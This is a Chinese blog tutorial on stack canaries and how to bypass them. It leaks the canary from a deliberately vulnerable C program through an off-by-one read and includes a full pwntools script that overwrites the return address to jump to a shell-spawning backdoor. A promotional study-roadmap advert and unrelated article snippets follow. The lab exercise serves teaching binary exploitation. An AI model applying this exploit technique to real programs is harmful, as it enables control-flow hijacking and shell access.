Canary保护机制及绕过

news2024/12/23 20:37:30

Canary基本介绍

在基本的栈溢出中,我们可以通过没有限制输入长度或限制不严格的函数等向栈中写入我们构造的数据,可写入的数据包括但不限于:

  • 一段可执行的代码(关闭NX防护的前提下)

  • 一段特意构造的返回地址等

传统的防御机制之一就是开启
Canary防护,该机制会向我们运行程序的栈底放入一串8字节的随机数据,在函数即将返回时会验证该数据是否发生改变,若发生改变则说明栈被改变了,直接call__stack_chk_fail。验证成功则跳到leave 和 ret正常的返回。

WeChat
Screenshot_20221009181351.png

如何绕过

直接获取栈中canary的值
若该程序会输出我们输入的字符串,则可以在输入数据时估计超出输入的限制1字节,由于C字符串是以'\0'结尾的,我们多输入的1字节就会覆盖'\0',在接下来的输出中,程序本身使用的输出函数没有限制输出的长度,就会将栈中位于所存数据高地址处的Canary值泄露出来,在接下来我们向栈中写入恶意返回地址的时候就可以将该值覆写回去,验证成功。

获取fs:28h中的canary
通过观察汇编代码,我们可以发现每次运行程序产生的随机canary值都存在fs:28h中,接下来会将该值放入EAX中再mov进程序的栈空间内。

mov rax,fs:28h
mov [rbp-8],rax

所以若程序中存在任意读的功能的函数,就可以直接读取该地址中的值即可。

逐字节爆破canary

其余的利用方式由于没有碰到,所以暂时不说,后续遇到了会进行补充。

准备环节

源程序

我们接下来用上述所说的第一种方式来尝试绕过一下canary值的校验。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_LENGTH 100

void init()
{
    setvbuf(stdin,0,_IONBF,0);
    setvbuf(stdout,0,_IONBF,0);
}

void backdoor()
{

    system("/bin/sh");

}

int main()
{

    char buf[10] = {0};

    init();
    printf("[DEBUGING] main: %p\n",main);
    printf("Hello,What's Your name?\n");

    read(0,buf,MAX_LENGTH);

    printf("%s",buf);
    printf("Welcom!\n");
    printf("But wait,WHO ARE YOU?\n");

    read(0,buf,MAX_LENGTH);

    printf("I don't know you,so bye ;)\n");

    return 0;

}

对应的makefile语句。

OBJS=pwn_1.c
CC=gcc # 默认就为gcc
CFLAGS+=-fstack-protector -no-pie -g

pwn_1:$(OBJS)
        $(CC) $^ $(CFLAGS) -o $@

clean:
        $(RM) *.o # 可不加

之后直接make即可,记得将源文件命名为pwn_1.c,之后gcc可能会提示报错提示read函数可能存在溢出的可能,不用理会。

可能存在的坑

记住头文件的引用,由于使用的read等系统调用函数,所以要进入 Unix标准库unistd.h

checksec

之后我们checksec该文件确保其开启了canary防护机制。

WeChat
Screenshot_20221011181209.png

Canary found 确认开启

objdump

通过观察代码可以多看到我们代码中是有一个等待被我们利用的函数backdoor()的,所以我们的目的实际上就是在main函数执行完毕之后返回到该函数中,
那我们势必就要计算出该函数与main函数偏移之间的关系,这样在装在后既可以通过基地址与偏移量的差值找到backdoor函数的地址。

objdmp -d pwn_1 -M intel

-d 反汇编pwn_1中的需要执行指令的那些section

-M 因特尔风格显示汇编代码,这样更贴近我们常见的汇编风格

启动!

确定问题所在

通过查看源程序(若无法获得源程序可以最简单的通过其行为判断), 发现其规定read的最大长度为MAX_LENGTH 100,而其buf空间只有10,所以确认存在栈溢出。

由于接下来的实验的截图不是来自一次完整的流程,而是反复执行为的是更加详细的显示整个流程,所以可能存在前后地址/值不一样的情况。

确定偏移量

首先我们显示用objdump -d pwn_1 确认其.text段中main函数和backdoor函数的偏移量。

WeChat
Screenshot_20221011191456.png

此处 (就不补0了)

  • main()的地址为0x401237

  • backdoor()的地址为0x401237

但对于backdoor()来说,由于前两条指令是为了保存之前的栈状态,初始化当前栈空间的,所以我们并不需要,在计算偏移量的时候直接:0x401237 - 0x401225即可。

接下来我们将其应用到最终的脚本中,获取实际backdoor()的地址。

from pwn import *

# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)

p = process('./pwn_1')

# 暂停执行直到我们回车
raw_input('PAUSE')

# 将mian: 前的字符全过掉 
p.recvuntil(b'main: ')

backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )

# 将算出的地址输出给我们看一下
log.info("The backdoor address is :" + hex(backdoor))

由于程序中输出了main()函数的地址,这样就无需再另外获取了,直接接受%p表示的地址即可

backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )

用接受到的main()的地址,减去刚刚计算的偏移量,就是进程中backdoor()的地址。

WeChat
Screenshot_20221011200055.png

获取到随机的canary值

由于我们的源程序会以字符串的形式输出们输入的内容,而如前面所说 C 字符串是以'\0'结尾的, **所以我们只要构造第一个read的数据长度为`10

  • 1即可覆盖最后的’\0’,从而将后面高地址处的canary`值也输出。**

光说不练假把式,先来看一下我们的脚本:

payload = b'a' * 11
p.sendafter(b'?',payload)

p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)

# 向控制台输出日志
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))
  • 第一个问题:为什么canary = p.recv(7)
    由于我们刚刚输入了11个字节,而buf只有10个字节的大小,
    这样我们就可以向上覆盖,覆盖掉了canary中的一个字节,同时可以读取到canary剩余的7个字节

  • 第二个问题:int.from_bytes(canary,byteorder='little')写法含义
    将字符串对象转为整型小端 显示

观察内存

接下来为了方便观察所获的到的值确实是canary的值,所以我们使用gdbattach黏附到我们脚本打开的程序上,来观察。

使用方法 :attach + PID(进入gdb后)

WeChat
Screenshot_20221011211411.png

之前我们多覆盖了一位,将 canary 的值低一位由0覆盖为了a,这里再拼接回来即可 到此为止,我们就得到了canary值。

向栈中拼入返回地址

先拿来一块该程序的栈空间来观察。

WeChat
Screenshot_20221011205258.png

第一个红色方框所圈区域,就是main函数返回的上一个函数的地址(见第二个红色方框),所以我们只要能覆盖该地址即可。

为了覆盖该地址我们需要覆盖从buf开始到该地址的所有空间,但其中存储着canary的位置要将我们刚刚保存出的canary再次放进去即可。

payload = b'a' * 10 # 覆盖数组所有空间
payload += canary # 由于数组空间后紧着的即使 canary 的空间,将该值放回去用来校验

pend = 0
payload += p64(pend) # 覆盖 rbp 指向的 8字节空间

payload += p64(backdoor) # 最终将返回地址放上我们backdoor的地址

p.sendafter(b'YOU?',payload)

# 暂停执行直到我们回车
raw_input('PAUSE')

WeChat
Screenshot_20221011210655.png

之后通过gdb查看该进程发现。
WeChat
Screenshot_20221011210639.png

成功写入。

成功执行

WeChat
Screenshot_20221011211056.png

完整脚本

from pwn import *

# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)

p = process('./pwn_1')

raw_input('PAUSE')

p.recvuntil(b'main: ')

# canary = 
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
log.info("The backdoor address is :" + hex(backdoor))

payload = b'a' * 11
p.sendafter(b'?',payload)

p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)

log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))

payload = b'a' * 10 # 覆盖数组所有空间
payload += canary # 由于数组空间后紧着的即使 canary 的空间,将该值放回去用来校验

pend = 0
payload += p64(pend) # 覆盖 rbp 指向的 8字节空间

payload += p64(backdoor) # 最终将返回地址放上我们backdoor的地址

log.info("The payload is :%x",int.from_bytes(payload,byteorder='little'))

p.sendafter(b'YOU?',payload)

p.interactive()

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/185766.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于java SSM校园兼职平台系统设计和实现

基于java SSM校园兼职平台系统设计和实现 博主介绍&#xff1a;5年java开发经验&#xff0c;专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 超级帅帅吴 Java毕设项目精品实战案例《500套》 欢迎点赞 收藏 ⭐留言 文末获取源码联系方式 …

CI/CD | 大型企业与开发团队如何进行持续集成与持续发布

Jenkins是当今最流行的持续集成工具之一&#xff0c; 企业选择Jenkins&#xff0c;可以从它的灵活性和自动化能力中获益。但除此之外的其他需求呢&#xff1f;企业规模在不断增大&#xff0c;他们如何在不增加管理负担的情况下&#xff0c;让CI扩展到整个组织&#xff0c;并满足…

rabbit是否支持批量发送?

最近和rabbit一直在打交道, 也是有个问题 Rabbit是否支持批量发送消息 该问题笔者翻阅官方文档与三方博客也没有找到答案&#xff0c;后也是自己去翻阅源码后才大概找到一个不敢确定的答案: BatchingRabbitTemplate 批量rabbit模板 该模板在RabbitTemplate模板的基础上进行了…

springboot配置(备忘)

springboot配置新建项目配置application.properties成功Tips需要配置的东西设置SpringbootstuApplication配置欢迎界面在java目录下创建controller、dao、pojo、service目录(与ssm配置大致相同&#xff0c;注释不同)控制类接口类&#xff08;dao&#xff09;实体类&#xff08;…

使用SysBench压测mysql8.x版本

yum install gcc gcc-c autoconf automake make libtool mysql-devel git mysql git clone https://github.com/akopytov/sysbench.git ##从Git中下载Sysbench cd sysbench ##打开sysbench目录 git checkout 1.0.18 ##切换到sysbench 1.0.18版本 ./autogen.sh ##运行autogen.sh…

读书笔记——上瘾:让用户养成使用习惯的四大产品逻辑

总结 书中核心逻辑就是下面这张图&#xff0c;上瘾的过程由四步组成&#xff1a; 下面以我自己为案例&#xff0c;从四个维度分析&#xff1a;魔兽世界、写博客&#xff0c;这两件事情。 1 触发、行动 行动的目标是获取酬劳。书中提到《福格行为模型》 福格行为模型&…

Windows下gitee的注册和代码提交(图文并茂)

前言 对于我们的程序源来说&#xff0c;我们写的代码保存下来是很有必要的&#xff0c;是为了我们以后方便找到我们的代码&#xff0c;让我们的代码不被丢失。 我们上一篇文章&#xff0c;将了Linux系统下我们的三板斧的指令(点开这个就可以看在Linux下的操作)&#xff0c;这时…

法律常识(八)社会保险法全文(附解释)

目录 参考 第一章 总  则 第二章 基本养老保险 第三章 基本医疗保险 第五章 失 业 保 险 第六章 生 育 保 险 第七章 社会保险费征缴 第八章 社会保险基金 第九章 社会保险经办 第十章 社会保险监督 第十一章 法 律 责 任 第十二章 附  则…

Collect-MemoryDump:一款针对Windows的数字取证与事件应急响应工具

关于Collect-MemoryDump Collect- MemoryDump是一款针对Windows的数字取证与事件应急响应工具&#xff0c;该工具能够自动创建Windows内存快照以供广大研究人员或应急响应安全人员进行后续的分析和处理。 项目提供的Collect- MemoryDump.ps1是一个PowerShell脚本文件&#xf…

51单片机学习笔记-7LED点阵屏

7 点阵屏 [toc] 注&#xff1a;笔记主要参考B站江科大自化协教学视频“51单片机入门教程-2020版 程序全程纯手打 从零开始入门”。 注&#xff1a;工程及代码文件放在了本人的Github仓库。 7.1 LED点阵屏介绍 LED点阵屏由若干个独立的LED组成&#xff0c;LED以矩阵的形式排列…

前端灰度发布(定义 优点 原理 方式)

1. 什么是灰度发布&#xff1f; 灰度发布&#xff0c;又被称之为金丝雀发布&#xff0c;是指某次新发布功能特性和旧功能特性之间能够以平滑过渡的方式呈现给用户&#xff0c;就像金丝雀的羽毛一样多种颜色平滑渐变。 举个例子&#xff0c;某个已上线处于运行中的系统需要一次…

播放视频报403 forbidden的原因及解决方案

一、原因 1、原因&#xff1a;我们知道&#xff0c;在页面引入图片、JS 等资源&#xff0c;或者从一个页面跳到另一个页面&#xff0c;都会产生新的 HTTP 请求&#xff0c;浏览器一般都会给这些请求头加上表示来源的 Referrer 字段。图片服务器通过检测 Referrer 是否来自规定…

Cisco RV340命令执行漏洞(CVE-2022-20707)及关联历史漏洞分析

一、引言 本篇文章主要是对Cisco RV340命令执行漏洞(CVE-2022-20707)进行的研究分析&#xff0c;尽管利用此漏洞需要身份验证&#xff0c;但可以通过CVE-2022-20705绕过现有的身份验证机制实现无条件的命令执行。历史相关的漏洞还包括&#xff1a;CVE-2020-3451、CVE-2021-147…

客户案例 | 低代码上的西门子,工欲善其事必先利其器

关键发现 用户痛点&#xff1a;项目管理过程涉及的系统繁多&#xff0c;系统间状态不透明&#xff0c;数据查询困难&#xff1b;人工流程虽属个别&#xff0c;但易拉低总体效率并有可能出错&#xff1b;数据报告自动化程度低。 解决方案&#xff1a;利用西门子低代码开发平台开…

玩转电脑|WIN10如何添加打印机扫描到电脑

win10和win7 添加打印机扫描到电脑操作不一样&#xff0c;换了win10电脑后还是按照win7的方法进行添加&#xff0c;会发现win10系统添加京瓷6525FMP打印机的扫描地址时会出现链接错误&#xff0c;无法添加。是因为win10需要设置SMB权限之后&#xff0c;即可添加地址簿。一、配置…

OAuth2.0-授权码模式

解决问题 OAuth2.0授权码模式主要解决了信任问题&#xff1a;一个第三方网站需要访问我们Github上的数据&#xff08;例如用户头像&#xff09;&#xff0c;那Github为什么要信任该网站&#xff1f;该对网站信任到什么程度&#xff1f; 如果彻底信任该网站&#xff0c;那么将…

LeetCode链表相关解法

LeetCode链表相关解法1.移除链表元素[203. 移除链表元素](https://leetcode.cn/problems/remove-linked-list-elements/)不设置头节点设置虚拟头节点2.设计链表[707. 设计链表](https://leetcode.cn/problems/design-linked-list/)3.反转链表[206. 反转链表](https://leetcode.…

使用Java8改造模板方法模式

目录 前言 以前的模板方法 Java 8 的函数式编程 Java 8以后的模板方法 总结 前言 我们在日常开发中&#xff0c;经常会遇到类似的场景&#xff1a;当要做一件事儿的时候&#xff0c;这件事儿的步骤是固定好的&#xff0c;但是每一个步骤的具体实现方式是不一定的。 通…

Hudi(14):Hudi集成Flink之核心参数设置

目录 0. 相关文章链接 1. 去重参数 2. 并发参数 2.1. 参数说明 2.2. 案例演示 3. 压缩参数 3.1. 参数说明 3.2. 案例演示 4. 文件大小 4.1. 参数说明 4.2. 案例演示 5. Hadoop 参数 Flink可配参数官网地址&#xff1a;All Configurations | Apache Hudi 0. 相关文…

Ubuntu 18.04 安装 nvidia 显卡驱动 离线安装 禁用 nouveau

Ubuntu 18.04 安装 nvidia 显卡驱动 离线安装1 系统2 查看显卡2.1 更新 pci.ids 文件3 安装显卡驱动 510.543.1 安装 nvtop4 禁用 nouveau5 安装 cuda 11.6.15.1 设置环境变量1 系统 # lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubu…